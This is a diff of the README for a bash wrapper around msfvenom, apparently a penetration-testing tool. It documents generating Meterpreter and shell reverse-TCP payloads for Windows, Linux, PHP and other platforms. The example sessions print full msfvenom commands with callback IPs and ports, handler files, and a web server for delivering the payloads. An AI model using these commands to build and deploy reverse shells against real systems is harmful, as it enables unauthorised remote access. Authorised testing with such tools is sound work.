|
1 | 1 | A **quick** way to generate various "basic" Meterpreter payloads via msfvenom (part of the Metasploit framework).
|
2 | 2 |
|
3 |
| - |
| 3 | + |
4 | 4 |
|
5 | 5 | - - -
|
6 | 6 |
|
7 | 7 | ## About
|
8 | 8 |
|
9 | 9 | Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
|
10 | 10 |
|
11 |
| -**Fully automating** Msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_. |
| 11 | +**Fully automating** msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_. |
12 | 12 | The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands** and a **quick web server** etc).
|
13 | 13 |
|
14 | 14 | The only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).
|
|
28 | 28 | ## Help
|
29 | 29 |
|
30 | 30 | ``` bash
|
31 |
| -root@kali:/var/www# bash /root/mpc.sh |
32 |
| - [*] Msfvenom Payload Creator (MPC) |
| 31 | +root@kali:~# mpc |
| 32 | + [*] Msfvenom Payload Creator (MPC v1.1) |
33 | 33 |
|
34 |
| - [i] Missing type |
35 |
| - |
36 |
| - [i] /root/mpc.sh <TYPE> (<IP>) (<PORT>) |
37 |
| - [i] TYPE: |
| 34 | + [i] ./mpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) |
| 35 | + [i] <TYPE>: (All reverse TCP payloads) |
38 | 36 | [i] + ASP (meterpreter)
|
39 |
| - [i] + Bash (meterpreter) |
40 |
| - [i] + Linux (meterpreter) |
| 37 | + [i] + ASPX (meterpreter) |
| 38 | + [i] + Bash [.sh] (shell) |
| 39 | + [i] + Java [.jsp] (shell) |
| 40 | + [i] + Linux [.elf] (meterpreter) |
| 41 | + [i] + OSX [.macho] (shell) |
| 42 | + [i] + Perl [.pl] (shell) |
41 | 43 | [i] + PHP (meterpreter)
|
42 |
| - [i] + Python (meterpreter) |
43 |
| - [i] + Windows (meterpreter) |
44 |
| - [i] IP will default to IP selection menu |
45 |
| - [i] PORT will default to 443 |
| 44 | + [i] + Powershell [.ps1] (meterpreter) |
| 45 | + [i] + Python [.py] (meterpreter) |
| 46 | + [i] + Tomcat [.war] (shell) |
| 47 | + [i] + Windows [.exe] (meterpreter) |
| 48 | + [i] Missing <DOMAIN/IP> will default to IP menu |
| 49 | + [i] Missing <PORT> will default to 443 |
| 50 | +root@kali:~# |
| 51 | +``` |
| 52 | + |
| 53 | +## Example \#1 (Linux - Fully Automated With IP And Port) |
| 54 | + |
| 55 | +```bash |
| 56 | +root@kali:/var/www# bash mpc.sh linux 192.168.155.175 4444 |
| 57 | + [*] Msfvenom Payload Creator (MPC v1.1) |
| 58 | + [i] IP: 192.168.155.175 |
| 59 | + [i] PORT: 4444 |
| 60 | + [i] TYPE: linux (linux/x86/meterpreter/reverse_tcp) |
| 61 | + [i] CMD: msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf --platform linux -a x86 -e generic/none LHOST=192.168.155.175 LPORT=4444 -o /root/linux-meterpreter.elf |
| 62 | + [i] linux meterpreter created: '/root/linux-meterpreter.elf' |
| 63 | + [i] MSF handler file: '/root/linux-meterpreter-elf.rc' (msfconsole -q -r /root/linux-meterpreter-elf.rc) |
| 64 | + [?] Quick web server? python -m SimpleHTTPServer 8080 |
| 65 | + [*] Done! |
46 | 66 | root@kali:/var/www#
|
47 | 67 | ```
|
48 | 68 |
|
49 |
| -## Example \#1 (PHP - Fully Automated) |
| 69 | +## Example \#2 (Windows - Fully Automated With Interface) |
50 | 70 |
|
51 | 71 | ```bash
|
52 |
| -root@kali:/var/www# bash /root/mpc.sh php 127.0.0.1 |
53 |
| - [*] Msfvenom Payload Creator (MPC) |
54 |
| - [i] IP: 127.0.0.1 |
| 72 | +root@kali:~# ./mpc.sh exe eth0 |
| 73 | + [*] Msfvenom Payload Creator (MPC v1.1) |
| 74 | + [i] IP: 192.168.103.241 |
55 | 75 | [i] PORT: 443
|
56 |
| - [i] TYPE: PHP (php/meterpreter_reverse_tcp) |
57 |
| - [i] CMD: msfvenom --payload php/meterpreter_reverse_tcp --format raw --platform php --arch php LHOST=127.0.0.1 LPORT=443 -o /var/www/php_meterpreter.php |
58 |
| -No encoder or badchars specified, outputting raw payload |
59 |
| -Saved as: /var/www/php_meterpreter.php |
60 |
| - [i] PHP meterpreter created as '/var/www/php_meterpreter.php' |
61 |
| - [i] MSF handler file create as 'php_meterpreter.rc (msfconsole -q -r /var/www/php_meterpreter.rc)' |
| 76 | + [i] TYPE: windows (windows/meterpreter/reverse_tcp) |
| 77 | + [i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.103.241 LPORT=443 -o /root/windows-meterpreter.exe |
| 78 | + [i] windows meterpreter created: '/root/windows-meterpreter.exe' |
| 79 | + [i] MSF handler file: '/root/windows-meterpreter-exe.rc' (msfconsole -q -r /root/windows-meterpreter-exe.rc) |
62 | 80 | [?] Quick web server? python -m SimpleHTTPServer 8080
|
63 | 81 | [*] Done!
|
64 |
| -root@kali:/var/www# |
| 82 | +root@kali:~# |
65 | 83 | ```
|
66 | 84 |
|
67 |
| -## Example \#2 (Windows - Interactive) |
| 85 | +## Example \#3 (PHP - Interactive) |
68 | 86 |
|
69 | 87 | ```bash
|
70 |
| -root@kali:/var/www# bash /root/mpc.sh exe |
71 |
| - [*] Msfvenom Payload Creator (MPC) |
| 88 | +root@kali:~# bash mpc.sh php |
| 89 | + [*] Msfvenom Payload Creator (MPC v1.1) |
72 | 90 |
|
73 |
| - [i] Use which IP address?: |
74 |
| - [i] 1.) 192.168.103.136 |
75 |
| - [i] 2.) 192.168.155.175 |
76 |
| - [i] 3.) 127.0.0.1 |
77 |
| - [?] Select 1-3: 2 |
| 91 | + [i] Use which interface/IP address?: |
| 92 | + [i] 1.) eth0 - 192.168.103.140 |
| 93 | + [i] 2.) eth1 - 192.168.155.175 |
| 94 | + [i] 3.) lo - 127.0.0.1 |
| 95 | + [?] Select 1-3, interface or IP address: 2 |
78 | 96 |
|
79 | 97 | [i] IP: 192.168.155.175
|
80 | 98 | [i] PORT: 443
|
81 |
| - [i] TYPE: Windows (windows/meterpreter/reverse_tcp) |
82 |
| - [i] CMD: msfvenom --payload windows/meterpreter/reverse_tcp --format exe --platform windows --arch x86 LHOST=192.168.155.175 LPORT=443 -o /var/www/windows_meterpreter.exe |
83 |
| -No encoder or badchars specified, outputting raw payload |
84 |
| -Saved as: /var/www/windows_meterpreter.exe |
85 |
| - [i] Windows meterpreter created as '/var/www/windows_meterpreter.exe' |
86 |
| - [i] MSF handler file create as 'windows_meterpreter.rc (msfconsole -q -r /var/www/windows_meterpreter.rc)' |
| 99 | + [i] TYPE: php (php/meterpreter/reverse_tcp) |
| 100 | + [i] CMD: msfvenom -p php/meterpreter/reverse_tcp -f raw --platform php -e generic/none -a php LHOST=192.168.155.175 LPORT=443 -o /root/php-meterpreter.php |
| 101 | + [i] php meterpreter created: '/root/php-meterpreter.php' |
| 102 | + [i] MSF handler file: '/root/php-meterpreter-php.rc' (msfconsole -q -r /root/php-meterpreter-php.rc) |
87 | 103 | [?] Quick web server? python -m SimpleHTTPServer 8080
|
88 | 104 | [*] Done!
|
89 |
| -root@kali:/var/www# |
| 105 | +root@kali:~# |
90 | 106 | ```
|
91 | 107 |
|
92 | 108 | ## To-Do List
|
93 | 109 |
|
94 |
| -* Display interface name next to IP address (e.g. `2.) 192.168.155.175 [eth1]`) |
95 |
| -* Display file stats (e.g. file, size, md5/sha1) _Commands are in, just commented out._ |
96 | 110 | * Cleaner command line arguments (e.g. `-ip 127.0.0.1`, `-v` etc)
|
| 111 | +* Display file stats (e.g. file, size, md5/sha1) _Commands are in, just commented out._ |
97 | 112 | * Support different payloads (e.g. `standard shells`/`nc` & `reverse_http`/`reverse_https`, `bind` etc)
|
98 | 113 | * x64 payloads
|
| 114 | +* _...IPv6 support?_ |
0 commit comments